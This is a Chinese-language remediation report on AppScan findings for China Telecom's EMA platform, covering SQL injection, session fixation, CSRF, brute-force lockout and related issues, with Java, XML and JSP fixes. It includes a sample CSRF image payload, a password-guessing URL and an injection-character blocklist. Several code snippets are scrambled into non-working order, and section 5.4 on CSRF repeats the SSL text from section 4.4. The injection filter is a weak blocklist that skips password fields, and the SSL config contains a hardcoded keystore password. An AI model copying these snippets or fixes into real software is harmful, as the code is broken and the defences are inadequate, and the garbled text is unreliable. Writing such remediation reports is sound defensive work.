WEB安全介紹..........................................................................................................................1 SQL注入、盲注.......................................................................................................................1 2.1 SQL注入、盲注概述.................................................................................................................1 2.2 2.4 3 安全風險及原因...................................................................................................................2 應用程序解決方案...............................................................................................................4 2.3 APPSCAN掃描建議......................................................................................................................2</p><p>會話標識未更新.......................................................................................................................7 3.1 3.2 3.4 會話標識未更新概述...........................................................................................................7 安全風險及原因分析...........................................................................................................8 應用程序解決方案...............................................................................................................8 3.3 APPSCAN掃描建議......................................................................................................................8 已解密登錄請求.......................................................................................................................9 4.1 4.2 4.4 已解密登錄請求概述...........................................................................................................9 安全風險及原因分析...........................................................................................................9 應用程序解決方案...............................................................................................................9 4.3 APPSCAN掃描建議......................................................................................................................9 跨站點請求偽造.....................................................................................................................11 5.1 5.2 5.4 跨站點請求偽造概述.........................................................................................................11 安全風險及原因分析.........................................................................................................12 應用程序解決方案.............................................................................................................13 5.3 APPSCAN掃描建議....................................................................................................................13 不充分賬戶封鎖.....................................................................................................................13 6.1 6.2 6.4 不充分賬戶封鎖概述.........................................................................................................13 安全風險及原因分析.........................................................................................................13 應用程序解決方案.............................................................................................................14 6.3 APPSCAN掃描建議....................................................................................................................14 啟用不安全HTTP方法...........................................................................................................14 7.1 7.2 7.4 啟用不安全HTTP方法概述...............................................................................................14 安全風險及原因分析.........................................................................................................15 應用程序解決方案.............................................................................................................15 7.3 APPSCAN掃描建議....................................................................................................................15 HTTP注釋敏感信息...............................................................................................................16 8.1 HTTP注釋敏感信息概述........................................................................................................16 8.2 8.4 安全風險及原因分析.........................................................................................................16 應用程序解決方案.............................................................................................................17 8.3 APPSCAN掃描建議....................................................................................................................16 發現電子郵件地址模式.........................................................................................................17</p><p>中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>9.1 9.2 9.4 10 發現電子郵件地址模式概述.............................................................................................17 安全風險及原因分析.........................................................................................................17 應用程序解決方案.............................................................................................................17 9.3 APPSCAN掃描建議....................................................................................................................17</p><p>通過框架釣魚.........................................................................................................................20</p><p>通過框架釣魚概述.............................................................................................................20 安全風險及原因分析.........................................................................................................20 APPSCAN掃描建議...............................................................................................................21 應用程序解決方案.............................................................................................................23 10.1 10.2 10.3 10.4 11 檢查到文件替代版本.............................................................................................................25</p><p>檢查到文件替代版本概述.................................................................................................25 安全風險及原因分析.........................................................................................................26 APPSCAN掃描建議...............................................................................................................26 應用程序解決方案.............................................................................................................26 11.1 11.2 11.3 11.4</p><p>中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結 Web安全介紹</p><p>目前很多業務都依賴于互聯網,例如說網上銀行、網絡購物、網游等,很多惡意攻擊者出于不良的目的對Web 服務器進行攻擊,想方設法通過各種手段獲取他人的個人賬戶信息謀取利益。正是因為這樣,Web業務平臺最容易遭受攻擊。同時,對Web服務器的攻擊也可以說是形形色色、種類繁多,常見的有掛馬、SQL注入、緩沖區溢出、嗅探、利用IIS等針對Webserver漏洞進行攻擊。</p><p>一方面,由于TCP/IP的設計是沒有考慮安全問題的,這使得在網絡上傳輸的數據是沒有任何安全防護的。攻擊者可以利用系統漏洞造成系統進程緩沖區溢出,攻擊者可能獲得或者提升自己在有漏洞的系統上的用戶權限來運行任意程序,甚至安裝和運行惡意代碼,竊取機密數據。而應用層面的軟件在開發過程中也沒有過多考慮到安全的問題,這使得程序本身存在很多漏洞,諸如緩沖區溢出、SQL注入等等流行的應用層攻擊,這些均屬于在軟件研發過程中疏忽了對安全的考慮所致。</p><p>另一方面,用戶對某些隱秘的東西帶有強烈的好奇心,一些利用木馬或病毒程序進行攻擊的攻擊者,往往就利用了用戶的這種好奇心理,將木馬或病毒程序捆綁在一些艷麗的圖片、音視頻及免費軟件等文件中,然后把這些文件置于某些網站當中,再引誘用戶去單擊或下載運行?;蛘咄ㄟ^電子郵件附件和QQ、MSN等即時聊天軟件,將這些捆綁了木馬或病毒的文件發送給用戶,利用用戶的好奇心理引誘用戶打開或運行這些文件、SQL注入、盲注 2.1 SQL注入、盲注概述</p><p>Web 應用程序通常在后端使用數據庫,以與企業數據倉庫交互。查詢數據庫事實上的標準語言是 SQL(各大數據庫供應商都有自己的不同版本)。Web 應用程序通常會獲取用戶輸入(取自 HTTP 請求),將它并入 SQL 查詢中,然后發送到后端數據庫。接著應用程序便處理查詢結果,有時會向用戶顯示結果。如果應用程序對用戶(攻擊者)的輸入處理不夠小心,攻擊者便可以利用這種操作方式。在此情況下,攻擊者可以注入惡意的數據,當該數據并入 SQL 查詢中時,就將查詢的原始語法更改得面目全非。例如,如果應用程序使用用戶的輸入(如用戶名和密碼)來查詢用戶帳戶的數據庫表,以認證用戶,而攻擊者能夠將惡意數據注入查詢的用戶名部分(和/或密碼部分),查詢便可能更改成 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>完全不同的數據復制查詢,可能是修改數據庫的查詢,或在數據庫服務器上運行 Shell 命令的查詢。2.2 安全風險及原因</p><p>高風險漏洞,攻擊者可能會查看、修改或刪除數據庫條目和表</p><p>原因:未對用戶輸入正確執行危險字符清理</p><p>2.3 AppScan掃描建議</p><p>若干問題的補救方法在于對用戶輸入進行清理。通過驗證用戶輸入未包含危險字符,便可能防止惡意的用戶導致應用程序執行計劃外的任務,例如:啟動任意 SQL 查詢、嵌入將在客戶端執行的 Javascript 代碼、運行各種操作系統命令,等等。建議過濾出所有以下字符: [1] |(豎線符號)[2] &(& 符號)[3];(分號)</p><p>[4] $(美元符號)[5] %(百分比符號)[6] @(at 符號)[7] '(單引號)[8] “(引號)</p><p>[9] '(反斜杠轉義單引號)[10] ”(反斜杠轉義引號)[11] <>(尖括號)[12]()(括號)[13] +(加號)</p><p>[14] CR(回車符,ASCII 0x0d)[15] LF(換行,ASCII 0x0a)[16] ,(逗號)[17](反斜杠)</p><p>以下部分描述各種問題、問題的修訂建議以及可能觸發這些問題的危險字符: SQL 注入和 SQL 盲注:</p><p>A.確保用戶輸入的值和類型(如 Integer、Date 等)有效,且符合應用程序預期。</p><p>B.利用存儲過程,將數據訪問抽象化,讓用戶不直接訪問表或視圖。當使用存儲過程時,請利用 ADO 命令對象來實施它們,以強化變量類型。C.清理輸入以排除上下文更改符號,例如: [1] '(單引號)[2] “(引號)</p><p>[3] '(反斜線轉義單引號)中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>[4] ”(反斜杠轉義引號)[5])(結束括號)[6];(分號)跨站點腳本編制:</p><p>A.清理用戶輸入,并過濾出 JavaScript 代碼。我們建議您過濾下列字符: [1] <>(尖括號)[2] “(引號)[3] '(單引號)[4] %(百分比符號)[5];(分號)[6]()(括號)[7] &(& 符號)[8] +(加號)</p><p>B.如果要修訂 <%00script> 變體,請參閱 MS 文章 821349 C.對于 UTF-7 攻擊: [-] 可能的話,建議您施行特定字符集編碼(使用 'Content-Type' 頭或 <meta> 標記)。</p><p>HTTP 響應分割:清理用戶輸入(至少是稍后嵌入在 HTTP 響應中的輸入)。請確保輸入未包含惡意的字符,例如: [1] CR(回車符,ASCII 0x0d)[2] LF(換行,ASCII 0x0a)遠程命令執行:清理輸入以排除對執行操作系統命令有意義的符號,例如: [1] |(豎線符號)[2] &(& 符號)[3];(分號)</p><p>執行 shell 命令:</p><p>A.絕不將未檢查的用戶輸入傳遞給 eval()、open()、sysopen()、system()之類的 Perl 命令。</p><p>B.確保輸入未包含惡意的字符,例如: [1] $(美元符號)[2] %(百分比符號)[3] @(at 符號)</p><p>XPath 注入:清理輸入以排除上下文更改符號,例如: [1] '(單引號)[2] ”(引號)等 LDAP 注入:</p><p>A.使用正面驗證。字母數字過濾(A..Z,a..z,0..9)適合大部分 LDAP 查詢。B.應該過濾出或進行轉義的特殊 LDAP 字符: [1] 在字符串開頭的空格或“#”字符 [2] 在字符串結尾的空格字符 [3] ,(逗號)[4] +(加號)[5] “(引號)[6](反斜杠)[7] <>(尖括號)中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>[8];(分號)[9]()(括號)MX 注入:</p><p>應該過濾出特殊 MX 字符: [1] CR(回車符,ASCII 0x0d)</p><p>[2] LF(換行,ASCII 0x0a)記錄偽造: 應該過濾出特殊記錄字符: [1] CR(回車符,ASCII 0x0d)[2] LF(換行,ASCII 0x0a)[3] BS(退格,ASCII 0x08)ORM 注入:</p><p>A.確保用戶輸入的值和類型(如 Integer、Date 等)有效,且符合應用程序預期。</p><p>B.利用存儲過程,將數據訪問抽象化,讓用戶不直接訪問表或視圖。C.使用參數化查詢 API D.清理輸入以排除上下文更改符號,例如:(*): [1] '(單引號)[2] ”(引號)</p><p>[3] '(反斜線轉義單引號)[4] “(反斜杠轉義引號)[5])(結束括號)[6];(分號)2.4 應用程序解決方案</p><p>1、我們為了調試方便,在頁面上會拋出數據庫異常信息,如果入侵工具獲取了這些信息,就可以獲取系統的一些配置信息,如web系統框架、采用的數據庫等,從而找出系統漏洞。所以不要在頁面上拋出異常的詳細信息,這些信息對客戶并沒有用,只是方便技術人員調試罷了,處理方法是在異常處理頁面把打印異常代碼刪除即可;</p><p>2、新建一個過濾器,通過過濾器過濾SQL注入特殊字符,配置成功后,重啟服務,用Appsan工具掃描,漏洞得到解決,通過過濾器可以解決SQL注入、跨站點腳本編制及通過框架釣魚等問題,具體實現方式如下:</p><p>1、在web.xml文件中配置過濾器</p><p><filter-mapping> <filter-name>requestEncodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <filter-name>InjectFilter</filter-name> <filter> <filter-class>com.sitech.ismp.util.context.InjectFilter</filter-c</filter> lass> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>2、過濾器過濾代碼</p><p>public class InjectFilter extends IsmpServletFilter {</p><p>private String failPage = ”/loginout.jsp“;//發生注入時,跳轉頁面</p><p>public void doFilter(ServletRequest request,ServletResponse response,FilterChain filterchain)throws IOException, ServletException { //判斷是否有注入攻擊字符</p><p>HttpServletRequest req =(HttpServletRequest)request;</p><p>String inj = injectInput(req);if(!inj.equals(”“)){ request.getRequestDispatcher(failPage).forward(request, return;response);} else { // 傳遞控制到下一個過濾器</p><p>filterchain.doFilter(request, response);} } /** * 判斷request中是否含有注入攻擊字符 * @param request * @return */ public String injectInput(ServletRequest request){</p><p>Enumeration e = request.getParameterNames();String attributeName;String attributeValues[];String inj = ”“;</p><p>while(e.hasMoreElements()){ attributeName =(String)e.nextElement();//不對密碼信息進行過濾,一般密碼中可以包含特殊字符</p><p>if(attributeName.equals(”userPassword“)||attributeName.equals(”co</p><p>||attributeName.equals(“password”)||attributeName.equals(“PASSWOR continue;nfirmPassword”)||attributeName.equals(“PASSWORD”)D2“)||attributeName.equals(”valiPassword“)){ 5 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>}</p><p>attributeValues = request.getParameterValues(attributeName);</p><p>for(int i = 0;i < attributeValues.length;i++){</p><p>if(attributeValues[i]==null||attributeValues[i].equals(”“))</p><p>continue;</p><p>inj = injectChar(attributeValues[i]);</p><p>if(!inj.equals(”“)){</p><p>return inj;</p><p>}</p><p>} } return inj;} /** * 判斷字符串中是否含有注入攻擊字符 * @param str * @return */ public String injectChar(String str){</p><p>String inj_str = ”“)' * %”;String inj_stra[] = inj_str.split(“ ”);</p><p>for(int i = 0;i < inj_stra.length;i++){ if(str.indexOf(inj_stra[i])>=0){ return inj_stra[i];} } return “";}</p><p>}</p><p> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結 會話標識未更新 3.1 會話標識未更新概述</p><p>“會話固定”是一種攻擊技術,會強制用戶的會話標識變成顯式值。固定會話標識值的技術有許多種,會隨著目標 Web 站點的功能而不同。從利用“跨站點腳本編制”到向 Web 站點密集發出先前生成的 HTTP 請求,都在這些技術范圍內。用戶的會話標識固定之后,攻擊者會等待用戶登錄,然后利用預定義的會話標識值來假定用戶的聯機身份。</p><p>一般而言,對于標識值的會話管理系統有兩種類型。第一種類型是“寬容”系統,可讓 Web 瀏覽器指定任何標識。第二種類型是“嚴格”系統,只接受服務器端生成的值。當使用寬容系統時,不需要聯系 Web 站點,便可以維護任何會話標識。在嚴格系統中,攻擊者需要維護“陷阱會話”并且必須定期聯系 Web 站點,才能防止閑置超時。對于會話固定,倘若沒有活動保護,使用會話來識別已認證的用戶的任何 Web 站點都可能受到攻擊。使用會話標識的 Web 站點通常都是基于 cookie 的站點,但也會使用 URL 和隱藏的表單字段。不幸的是,基于 cookie 的會話最容易受到攻擊。目前已識別的大多數攻擊方法都是針對 cookie 的固定。相對于在用戶登錄 Web 站點之后,再竊取用戶的會話標識,會話固定提供的機會多得多。</p><p>在用戶登錄之前,攻擊的活動部分便已啟動。</p><p>會話固定攻擊過程通常由三個步驟組成:</p><p>1)安裝會話</p><p>攻擊者針對目標 Web 站點設下“陷阱會話”,并獲取這個會話的標識,攻擊者也可以選擇攻擊中所用的任意會話標識。在某些情況下,必須反復聯系 Web 站點,才能維護確定好的陷阱會話值。</p><p>2)固定會話</p><p>攻擊者將陷阱會話值引進用戶的瀏覽器中,固定用戶的會話標識。</p><p>3)進入會話</p><p>用戶登錄目標 Web 站點之后,當使用固定會話標識值時,攻擊者便可加以接管?!?/p><p>修改</p><p>對于這類問題解決方案為在用戶進入登錄頁面時清空session讓cookie過期</p><p>request.getSession(true).invalidate();//清空session Cookie cookie = request.getCookies()[0];//獲取cookie cookie.setMaxAge(0);//讓cookie過期</p><p>另外一種方式利用JSP的一些特性,不讓登錄頁面產生Session <% page session=”false” %> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>3.2 安全風險及原因分析</p><p>高風險漏洞,可能會竊取或操縱客戶會話和 cookie,它們可能用于模仿合法用戶,從而使黑客能夠以該用戶身份查看或變更用戶記錄以及執行事務</p><p>原因:Web 應用程序編程或配置不安全</p><p>3.3 AppScan掃描建議</p><p>始終生成新的會話,供用戶成功認證時登錄。防止用戶操縱會話標識。</p><p>請勿接受用戶瀏覽器登錄時所提供的會話標識</p><p>3.4 應用程序解決方案</p><p>會話標識未更新,Appscan給出的描述是建議用戶每次登錄時需使用新的會話標識。應用程序實現上就是在登錄模塊,添加以下代碼,即用戶登錄后,重新生成會話。</p><p>HttpSession session = request.getSession(false);if(session!=null){ //讓cookie過期</p><p>session.invalidate();</p><p>Cookie cookie = request.getCookies()[0];//獲取cookie</p><p>cookie.setMaxAge(0);//讓cookie過期 } request.getSession(true);//生成新會話</p><p>經過測試,這段代碼只在weblogic和tomcat下才有效,在公司中間件webspeed及jboss6.0下問題都依然存在,但從掃描的結果信息分析看,漏洞已經解決,分析判斷應該只是session處理機制不同,AppScan工具仍認為存在漏洞風險。在與電信溝通中我們存在一個經驗教訓大家一定要吸取,不能過渡迷信流行的自動化測試工具,尤其是對于Appscan這種判斷防御行為的復雜軟件,僅靠有限的規則設置就當做是web安全的唯一標準這顯然不太合理,這種情況一定要與測試方溝通解釋。</p><p>另一方面,對于公司的產品webspeed,也想提點建議,商務項目采用公司的產品為公司節約了不少成本,但是我們產品后續升級維護也必須重視起來,當確認出是webspeed本身問題后,聯系vasg相關人員進行協調解決,根本沒有非常了解該產品技術人員支持,只是一個剛入職的同事在配合測試。調試了一周時間仍不能解決,最后只能作為一個遺留問題擱置。公司一直在向產品化轉變,但是自身的產品維護、升級、管理仍然需要改進。</p><p> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結 已解密登錄請求 4.1 已解密登錄請求概述</p><p>在應用程序測試過程中,檢測到將未加密的登錄請求發送到服務器。由于登錄過程所用的部分輸入字段(例如:用戶名、密碼、電子郵件地址、社會保險號碼,等等)是個人敏感信息,建議通過加密連接(如 SSL)將其發送到服務器。任何以明文傳給服務器的信息都可能被竊,稍后可用來電子欺騙身份或偽裝用戶。此外,若干隱私權法規指出,用戶憑證之類的敏感信息一律以加密方式傳給網站。</p><p>4.2 安全風險及原因分析</p><p>安全風險中,可能會竊取諸如用戶名和密碼等未經加密即發送了的用戶登錄信息</p><p>原因:諸如用戶名、密碼和信用卡號之類的敏感輸入字段未經加密即進行了傳 遞</p><p>4.3 AppScan掃描建議</p><p>1.確保所有登錄請求都以加密方式發送到服務器。2.請確保敏感信息,例如:密碼</p><p>-社會保險號碼駕照號碼</p><p>-電子郵件地址郵政編碼</p><p>一律以加密方式傳給服務器。4.4 應用程序解決方案</p><p>已解密的登錄請求,要求就是數據要加密傳輸。最簡單有效的解決方式采用SSL加密協議傳輸,但是由于EMA服務管理平臺業務的特殊性,采用SSL加密方式對現有的業務影響太大,所以最終沒有采用此種方式解決該問題,但個人在進行測試過程中也嘗試在tomcat和jboss下SSL方式配置,寫下來供參考。</p><p> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>Jboss內核也是tomcat,所以兩者配置基本都是一樣,都是在生成證書文件后,在service.xml 進行配置:</p><p>1.進入到cmd 進入到jdk bin目錄下執行keytool-genkey-alias tomcat-keyalg RSA-keystore webspeed.keystore 生成證書 2.在service.xml配置SSL <Connector port=”8443“ maxHttpHeaderSize=”8192“ maxThreads=”150“ minSpareThreads=”25“ maxSpareThreads=”75“ enableLookups=”false“ disableUploadTimeout=”true“ acceptCount=”100“ scheme=”https“ secure=”true“ clientAuth=”false“ sslProtocol=”TLS“</p><p>keystoreFile=”C:tomcat-5.5.26confwebspeed.keystore“ keystorePass=”1111aaaa“/> 這樣配置后雖然可以通過https訪問,但仍然還可以通過8080使用普通的http訪問,所以還必須禁止普通模式登錄。所以還得在web.xml添加配置。01 <security-constraint> 02 03 <!--Authorization setting for SSL--> 04 05 <web-resource-collection > 06 07 <web-resource-name >SSL</web-resource-name> 08 09 <url-pattern>*.jsp</url-pattern> 10 11 <url-pattern>*.action</url-pattern> 12 13 </web-resource-collection> 14 15 <user-data-constraint> 16 17 <transport-guarantee>CONFIDENTIAL</transport-guarantee> 18 19 </user-data-constraint> 20 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結 </security-constraint> 22 23 <login-config> 24 25 <!--Authorization setting for SSL--> 26 27 <auth-method>CLIENT-CERT</auth-method> 28 29 <realm-name>Client Cert Users-only Area</realm-name> 30 31 </login-config> 應注意,由于項目的一些組件無法通過https,因此url-pattern字段只對.jsp和.action進行了限制,如果不做特定限制,則系統默認是全部使用https傳輸。而且上述設置一旦在某個工程中出現,那么當前tomcat將全局采用這一配置??缯军c請求偽造 5.1 跨站點請求偽造概述</p><p>“跨站點偽造請求(CSRF)”攻擊可讓黑客以受害者的名義在易受攻擊的站點上運行操作。當易受攻擊的站點未適當驗證請求來源時,便可能出現這個攻擊。這個漏洞的嚴重性取決于受影響的應用程序的功能,例如,對搜索頁面的 CSRF 攻擊,嚴重性低于對轉帳頁面或概要更新頁面的 CSRF 攻擊。</p><p>這項攻擊的執行方式,是強迫受害者的瀏覽器向易受攻擊的站點發出 HTTP 請求。如果用戶目前已登錄受害者站點,請求會自動使用用戶的憑證(如會話 Cookie、用戶的 IP 地址,以及其他瀏覽器認證方法)。攻擊者利用這個方法來偽造受害者的身份,再代替他來提交操作。換句話來說,易受攻擊的站點未采取適當措施來驗證用戶實際是否想執行特定操作。強迫受害者發送非預期的請求,方法有許多種:</p><p>-通過電子郵件向受害者發送易受攻擊應用程序的惡意鏈接。在公共論壇中,張貼易受攻擊站點的鏈接。中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>-利用站點(或另一個站點)的“跨站點腳本編制”或“鏈接注入”漏洞,將瀏覽器自動重定向到易受攻擊的站點。</p><p>如果攻擊者利用易受攻擊的站點本身的“鏈接注入”漏洞,可以增加用戶通過站點認證的可能性,進而增加攻擊成功的可能性。</p><p>例如,攻擊者可以利用上述任何選項來誘惑受害者查看含有下列條目的頁面: <img src=”http://bank/transfer?destination=John&money=1000“ style='visibility:hidden'></p><p>這會使受害者的瀏覽器自動請求 URL 及瀏覽器的當前憑證。如果這個銀行業站點易受到 CSRF 攻擊,它會根據應用程序邏輯,從受害者的帳戶中,將 1000 美元轉賬到 John 的銀行帳戶。“跨站點偽造請求”攻擊也稱為 CSRF(發音為 C-Serf)、XSRF、“跨站點偽造引用”、“單鍵攻擊”以及“會話騎乘”。您可以利用下列方式來驗證您的應用程序是否易受到 CSRF 攻擊: [1] 檢查易受攻擊的鏈接/請求是否未包括攻擊者難以猜中的參數 [2] 檢查易受攻擊的鏈接/請求是否會執行只應自愿執行的操作</p><p>含有用戶在不知不覺中提交的請求所能直接訪問的敏感操作的應用程序,被視為很容易遭受 CSRF 攻擊。CSRF 也可能出現在登錄頁面和注銷頁面上。由于攻擊者可以偽造來自受害者的連續注銷請求,因此 CSRF 可能導致服務拒絕。在登錄頁面上,CSRF 可以允許攻擊者使用包含攻擊者用戶名和密碼的偽造請求來將客戶機登錄到攻擊者的賬戶中。登錄 CSRF 攻擊會帶有嚴重的后果,這取決于其他站點行為。例如,如果站點保留了用戶操作的歷史記錄(例如搜索歷史記錄),那么攻擊者將能夠在易受攻擊的站點上查看受害者之前執行的操作。5.2 安全風險及原因分析</p><p>安全風險中,可能會竊取或操縱客戶會話和 cookie,它們可能用于模仿合法用戶,從而使黑客能夠以該用戶身份查看或變更用戶記錄以及執行事務 原因:應用程序使用的認證方法不充分</p><p> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>5.3 AppScan掃描建議</p><p>如果要避免 CSRF 攻擊,每個請求都應該包含唯一標識,它是攻擊者所無法猜測的參數。建議的選項之一是添加取自會話 cookie 的會話標識,使它成為一個參數。服務器必須檢查這個參數是否符合會話 cookie,若不符合,便廢棄請求。攻擊者無法猜測這個參數的原因是應用于 cookie 的“同源策略”,因此,攻擊者無法偽造一個虛假的請求,讓服務器誤以為真。攻擊者難以猜測且無法訪問的任何秘密(也就是無法從其他域訪問),都可用來替換會話標識。這可以防止攻擊者設計看似有效的請求。</p><p>5.4 應用程序解決方案</p><p>已解密的登錄請求,要求就是數據要加密傳輸。最簡單有效的解決方式采用SSL加密協議傳輸,但是由于EMA服務管理平臺業務的特殊性,采用SSL加密方式對現有的業務影響太大,所以最終沒有采用此種方式解決該問題,但個人在進行測試過程中也嘗試在tomcat和jboss下SSL方式配置,寫下來供參考。6 不充分賬戶封鎖 6.1 不充分賬戶封鎖概述</p><p>蠻力攻擊是指惡意用戶發送大量可能的密碼和/或用戶名以訪問應用程序的嘗試。由于該技術包含大量登錄嘗試,未限制允許的錯誤登錄請求次數的應用程序很容易遭到這類攻擊。因此,強烈建議您對帳戶限制允許的錯誤登錄嘗試次數,超過該次數,便鎖定該帳戶。樣本利用: 下列請求說明密碼猜測請求:</p><p>http://site/login.asp?username=EXISTING_USERNAME&password=GUESSED_PASSWORD 如果站點在若干次錯誤嘗試之后并不鎖定測試的帳戶,攻擊者最終可能會發現帳戶密碼,并使用它來假冒帳戶的合法用戶。6.2 安全風險及原因分析</p><p>安全風險高,可能會升級用戶特權并通過 Web 應用程序獲取管理許可權</p><p>原因:Web 應用程序編程或配置不安全</p><p> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>6.3 AppScan掃描建議</p><p>請確定允許的登錄嘗試次數(通常是 3-5 次),確保超出允許的嘗試次數之后,便鎖定帳戶。為了避免真正的用戶因帳戶被鎖定而致電支持人員的麻煩,可以僅臨時性暫掛帳戶活動,并在特定時間段之后啟用帳戶。帳戶鎖定大約 10 分鐘,通常便足以阻止蠻力攻擊。</p><p>6.4 應用程序解決方案</p><p>根據掃描建議,web應用程序設定允許登錄嘗試次數,登錄連續失敗超過設定次數,就鎖定用戶,失敗次數靈活配置。</p><p>在用戶登錄時進行驗證:</p><p>if(!encrypter.encrypt(userPassword).equalsIgnoreCase({</p><p>} //更新此用戶登錄失敗次數</p><p>this.updateLoginFailTimes(userCode);//如果用戶連續登錄失敗次數超過配置值則將其鎖定</p><p>int loginLockTimes=this.getLoginLockTimes();if(this.getLoginFailTimes(userCode)>=loginLockTimes){ } throw new MySecurityException(”密碼不正確!用戶:“ + userCode);this.lockUser(userCode);user.getLOGIN_PASSWD()== null ? ”“ : user.getLOGIN_PASSWD()))7 啟用不安全HTTP方法 7.1 啟用不安全HTTP方法概述</p><p>似乎 Web 服務器配置成允許下列其中一個(或多個)HTTP 方法(動詞):</p><p>-DELETE COPY PROPFIND LOCK-UNLOCK</p><p>這些方法可能表示在服務器上啟用了 WebDAV,可能允許未授權的用戶對其進行利用。</p><p>7.2 安全風險及原因分析</p><p>安全風險中,可能會在 Web 服務器上上載、修改或刪除 Web 頁面、腳本和文件</p><p>原因:Web 服務器或應用程序服務器是以不安全的方式配置的</p><p>7.3 AppScan掃描建議</p><p>如果服務器不需要支持 WebDAV,請務必禁用它,或禁止不必要的 HTTP 方法(動詞)。</p><p>7.4 應用程序解決方案</p><p>修改web工程中web.xml,增加安全配置信息,禁用不必要HTTP方法</p><p><security-constraint></p><p><web-resource-collection></p><p><web-resource-name>HtmlAdaptor</web-resource-name> <description>test</description> <url-pattern>*.jsp</url-pattern> <url-pattern>*.do</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> <http-method>PUT</http-method> <http-method>DELETE</http-method> <http-method>HEAD</http-method> <http-method>OPTIONS</http-method> <http-method>TRACE</http-method></p><p>中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p></web-resource-collection><!--</p><p><auth-constraint></p><p></auth-constraint></p><p>--></security-constraint>。<role-name>JBossAdmin</role-name> HTTP注釋敏感信息 8.1 HTTP注釋敏感信息概述</p><p>很多 Web 應用程序程序員使用 HTML 注釋,以在需要時幫助調試應用程序。盡管添加常規注釋有助于調試應用程序,但一些程序員往往會遺留重要數據(例如:與 Web 應用程序相關的文件名、舊的鏈接或原非供用戶瀏覽的鏈接、舊的代碼片段等)。8.2 安全風險及原因分析</p><p>安全風險低,能會收集有關 Web 應用程序的敏感信息,如用戶名、密碼、機器名和/或敏感文件位置</p><p>原因:程序員在 Web 頁面上留下調試信息</p><p>8.3 AppScan掃描建議</p><p>[1] 請勿在 HTML 注釋中遺留任何重要信息(如文件名或文件路徑)。</p><p>[2] 從生產站點注釋中除去以前(或未來)站點鏈接的跟蹤信息。</p><p>[3] 避免在 HTML 注釋中放置敏感信息。</p><p>[4] 確保 HTML 注釋不包括源代碼片段。</p><p>[5] 確保程序員沒有遺留重要信息。</p><p> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>8.4 應用程序解決方案</p><p>雖然這個漏洞為低級別漏洞,但電信方也是要求必須修復,要修改此漏洞需要檢查工程中的每一個jsp頁面,工作量還是挺大。所以在后續開發過程中注釋盡量寫英文注釋,盡量不要遺留敏感注釋信息在jsp代碼中,養成良好的編碼習慣才是解決問題根本。發現電子郵件地址模式</p><p>9.1 發現電子郵件地址模式概述</p><p>Spambot 搜尋因特網站點,開始查找電子郵件地址來構建發送自發電子郵件(垃圾郵件)的郵件列表。AppScan 檢測到含有一或多個電子郵件地址的響應,可供利用以發送垃圾郵件。而且,找到的電子郵件地址也可能是專用電子郵件地址,對于一般大眾應是不可訪問的。9.2 安全風險及原因分析</p><p>安全風險低,能會收集有關 Web 應用程序的敏感信息,如用戶名、密碼、機器名和/或敏感文件位置</p><p>原因:Web 應用程序編程或配置不安全</p><p>9.3 AppScan掃描建議</p><p>從 Web 站點中除去任何電子郵件地址,使惡意的用戶無從利用。</p><p>9.4 應用程序解決方案</p><p>根據掃描建議刪除注釋中出現email地址信息,如果頁面中要顯示mail地址轉為圖片形式展示。如:ema服務管理平臺首頁需要展示客戶聯系方式,并且聯系方式、email等信息,這些信息用戶都是可以自行修改的,因為包含了email地址,所以聯系方式就轉為圖片形式:</p><p><%@ page language=”java“ contentType=”text/html;charset=gb2312“%> <%@ include file=”/common/taglib.jsp“ %> <%@ include file=”/common/chart.jsp“ %> <%@ page import=”java.util.List,java.util.*,java.awt.*,java.awt.image.*,com.su 17 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>n.image.codec.jpeg.*,java.util.*“ %> <%@ page import=”com.sitech.ismp.informationService.publish.dao.TB_SYS_SUPPORT_STAFFDao“ %> <html:html locale=”true“> <head> <%@ include file=”/common/link.jsp“ %> <%@ page import=”com.sitech.ismp.util.context.CommUtil“ %> </head> <link href=”/css/style.css“ rel=”stylesheet“ type=”text/css“> <script type=”text/javascript“ src=”/js/pub.js“></script> <link rel=”stylesheet“ type=”text/css“ media=”all“ href=”/css/calendar-win2k-cold-1.css“ title=”win2k-cold-1“ /> <body> <html:form action=”/homeContactShow“ method=”post“ styleId=”theForm“> <bean:define id=”theForm“ name=”supportStaffForm“/> <div id="jdb3l39rxn9" class=bg id=left> <div> <table width=”100%“ border=”0“ cellpadding=”0“ cellspacing=”0“ class=”tablebg“> <TBODY> <tr> <td class=”tableheadbg“>運營中心聯系方式</td> </tr> <tr> <td class=”tablewhitebg“></p><p><%</p><p>List typeList =(List)request.getAttribute(”typeList“);out.clear();out = pageContext.pushBody();response.addHeader(”pragma“,”NO-cache“);response.addHeader(”Cache-Control“,”no-cache“);response.addDateHeader(”Expries“,0);int rowheight=20;</p><p>int width=135,height=rowheight*typeList.size();String ty= ”“;String mob=”“;for(int i=0;i<typeList.size();i++){</p><p>HashMap hm=(HashMap)typeList.get(i);ty=(String)hm.get(”TYPE_ID“);List sta =(List)dao.findSupportStaffByTypeId(ty);for(int k=0;k<sta.size();k++){</p><p>TB_SYS_SUPPORT_STAFFDao dao= new TB_SYS_SUPPORT_STAFFDao();response.setContentType(”image/jpeg“);</p><p> 中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>HashMap map =(HashMap)sta.get(k);</p><p>mob =(String)map.get(”MOBILE“);</p><p>height+=3*rowheight;</p><p>if(mob!=null)height+=rowheight;</p><p>}</p><p>}</p><p>BufferedImage image = new 